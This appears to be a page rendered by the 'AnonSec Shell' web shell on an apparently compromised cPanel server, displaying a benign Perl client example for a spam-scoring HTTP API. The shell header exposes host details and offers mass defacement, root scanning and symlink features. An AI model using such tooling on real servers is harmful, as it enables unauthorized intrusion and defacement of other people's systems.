AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /etc/mail/spamassassin/CMAE-SA/example/perl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /etc/mail/spamassassin/CMAE-SA/example/perl/client_example.pl
#!/usr/bin/perl

# This is a very simple example of a Perl client script interacting with Authority HTTP Server.

$| = 42;
use strict;
use warnings;
use Getopt::Long;
use LWP::UserAgent;

our @COMMANDS = qw(
  ping
  mon
  max-message-size
  license
  microupdate-versions
  supported-attributes
  runtime
  message
  content
  sender
  analysis
  ip);

main();

sub main {
    GetOptions('h|help' => sub { usage(); },) or usage();
    usage() if !@ARGV;
    my ($server, $command, $parameter) = @ARGV;

    # validate server URL
    my $commands_str = join('|', @COMMANDS);
    my $commands_regex = qr|$commands_str|;

    usage("Server URL is required") if !$server || $server !~ /^https?:\/\/[-\w\.]+:\d+$/;
    usage("Command is required") if !$command || $command !~ /^($commands_regex)$/;


    # validate optional parameter based on the detected API command
    my ($message, $analysis, $ip);
    if ($command eq 'message' || $command eq 'content' || $command eq 'sender') {
        # read mesage from file
        usage("Parameter for command '$command' is required to be filename containing message to score") if !$parameter || !-s $parameter;
        open my $fh, '<', $parameter or die "Error reading file $parameter: $!\n";
        local $/ = undef;
        $message = <$fh>;
        close $fh;
    } elsif ($command eq 'analysis') {
        # analysis string
        usage("Parameter for command '$command' is required to be an analysis string to score") if !$parameter;
        print "Using analysis string $parameter\n";
        $analysis = $parameter;
    } elsif ($command eq 'ip') {
        # IP address
        usage("Parameter for command '$command' is required to be an IP address to score") if !$parameter || $parameter !~ /^\d{1,3}(?:\.\d{1,3}){3}$/;
        print "Using IP address $parameter\n";
        $ip = $parameter;
    }

    # create user agent object
    my $ua = new LWP::UserAgent;

    # send request to server
    my $response;
    my $request = $server . "/score/v2/" . $command;
    print "Request: " . $request . "\n";
    if ($message || $analysis) {
        # send a POST request
        my $form;
        if ($message) {
            $form = { rfc822 => $message };
        } elsif ($analysis) {
            $form = { analysis => $analysis };
        }
        # Note that we are using multipart/form-data content type,
        # to comply with Authority HTTP Server's handling of form uploads.
        # See RFC2388 (http://www.ietf.org/rfc/rfc2388.txt) for more info.
        $response = $ua->post($request, Content_Type => 'form-data', Content => $form);
    } elsif ($ip) {
        # send a GET request
        $request .= "/$ip";
        $response = $ua->get($request);
    } else {
        # send a GET request
        $response = $ua->get($request);
    }

    # parse response; if successful, decode json and dump to screen
    if (!$response->is_success) {
        die "Server error: " . $response->status_line . "\n";
    }
    my $content = $response->decoded_content;

    print $content . "\n";
}

sub usage {
    my ($msg) = @_;
    if ($msg) {
        print "$msg\n";
        print "See $0 --help\n";
    } else {
        my $commands_p = join('', map { "    $_\n" } @COMMANDS);
        print <<EOF;
Usage: $0 [-h|help] <server> command {parameter}

Server URL must be in this format:
    http://127.0.0.1:2780

Valid commands:
$commands_p
Parameter is required for message, contente, sender, analysis and ip commands.
For message, content, and sender, parameter must be
  filename containing mailbox with one message
  (supporting larger mailboxes is left as an excercise for the user)
For analysis, parameter is the analysis string to score
For ip, parameter is the IP address to score
EOF
    }
    exit;
}

Anon7 - 2022
AnonSec Team